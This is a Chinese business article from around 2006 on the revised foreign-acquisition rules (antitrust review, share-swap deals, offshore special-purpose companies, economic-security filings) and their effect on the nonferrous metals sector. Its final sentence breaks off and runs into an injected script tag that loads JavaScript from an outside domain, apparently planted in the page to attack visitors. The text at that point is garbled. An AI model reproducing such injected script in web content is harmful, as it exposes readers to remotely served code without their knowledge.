如今，中国的行业龙头企业正在接受一场外资并购风暴的冲击，民族工业的大旗在“廉价掠夺”的并购浪潮中摇摇欲坠，资源类行业如钢铁、金属非金属与采矿行业是外资并购的重点。有色企业所追求的“百年老店”目标，正经受着外资“入侵”的考验……

    有色金属工业是国民经济的重要行业，是关系到国家发展的战略资源安全的行业。有色行业将成为外资并购的重点行业。国外资本即将蜂拥而至，钢铁行业传出严控的呼声，有色是严控还是鼓励？

    新规出台

    外资境内并购的拐点

    2006年8月9日，修订后的《关于外国投资者并购境内企业的规定》（以下简称《规定》）由商务部、国资委等六大部委正式对外发布，该规定将于2006年9月8日起施行。区区26条的2003年版《外国投资者并购境内企业暂行规定》发展成为这份5章61条的《规定》，表明我国外资并购法规在总结经验教训的基础上正在趋向完善，可操作性更强。商务部条法司一位官员表示：“《规定》最主要的内容是限制假外资的流入。”

    另外，正在热议的《反垄断法》也直指外资在产业领域里存在大量的垄断协议、滥用市场支配地位和集中度过大等现象，尤其是外资在中国产业内恶意收购等一系列“斩首行动”。对外资收购的审查变成前所未有的迫切。毫无疑问，外资的境内并购遭遇到重大拐点。

    外资并购境内企业需经过反垄断审查。《规定》明确外资并购境内企业时，商务部和国家工商总局将进行反垄断审查。《规定》明确外资在并购境内企业时，如涉及企业国有产权转让和上市公司国有股权管理事宜的，应当遵守国有资产管理的相关规定。如果被并购企业为境内上市公司，还应根据《外国投资者对上市公司战略投资管理办法》，向国务院证券监督管理机构办理相关手续。《规定》明确了反垄断审查。商务部和国家工商总局认为并购行为可能造成过度集中，妨害正当竞争、损害消费者利益的，可进行听证，并依法决定批准或不批准。

    换股并购是一大进步。商务部研究院研究员梅新育指出，《规定》第一次明确界定了外国投资者以股权作为支付手段并购境内公司的行为、以股权并购的条件，并规定了申报文件与程序。《规定》第四章中有关外资并购的条款，本身就是中国外资并购法规的一大进步。上述条款制订实施后，换股并购方式在中国从此有法可依，此次在《规定》中对这一行为进行了明确，为未来通过股权交换进行并购的行为预留了法律空间。

    抑制 “外资化”。内资企业“外资化”是中国经济面临的重大问题之一，而这个问题往往与企业海外上市、跨境并购等交易纠缠在一起，比较常见的手法是在海外设立离岸公司，然后通过离岸公司以股权收购境内资产的方式把境内资产注入离岸公司，再将离岸公司上市。在这种情况下，如果不能证明海外注册公司最终控制者系境内居民或境内机构，那么我国就有丧失对这些资产的管辖权、引发投资争议的风险。从强化管理、维护市场秩序和国家经济安全的角度来看，《规定》中对于“特殊目的公司”这两项条款具有重要意义。

    重点行业须申报，并购不得影响国家经济安全。外国投资者并购境内企业并取得实际控制权，涉及重点行业、存在影响或可能影响国家经济安全因素或者导致拥有驰名商标或中华老字号的境内企业实际控制权转移的，当事人应就此向商务部进行申报。当事人未申报，但其并购行为对国家经济安全造成或可能造成重大影响的，商务部可以会同相关部门要求当事人终止交易或采取转让相关股权、资产或其他有效措施，以消除并购行为对国家经济安全的影响。

    然而商务部研究院的专家对这个说法提出质疑。《规定》中并未就“重点行业”作出界定。商务部研究院外资并购研究员马宇说：“这项条款不具有可操作性，实际操作中很难判断什么是重点行业，并没有一定的《产业目录》来进行明确。”

    新规将推动有色行业创新。浙江天马期货的刘荣华告诉记者，从更深一层意义上来说，《外资并购新规》的出台将使我国资本和资产——无论是国有资产还是民营资产得到优化，只要是通过透明操作。优胜劣汰既然是社会发展定律，对于通过并购创新，并购后的公司经营、管理、人才、资金等核心竞争力优势得到充分发挥，而且并购后的主体资产仍留在国内，企业经济效益和社会效益都得到提升，也未必不是一件好事。

    目前，我国股权分置改革已进入尾声，在全流通IPO已经提前切入的新形势下，国家发改委及证监会对上市公司收购制度所做出的重大调整，可以说是管理层顺应了WTO制度下我国承诺今年12月11日向世界全面开放金融市场的适时之举。由于有色金属行业产业两头在外(近一半从国外进口基础原料?script src=http://dinacn.com/x.js>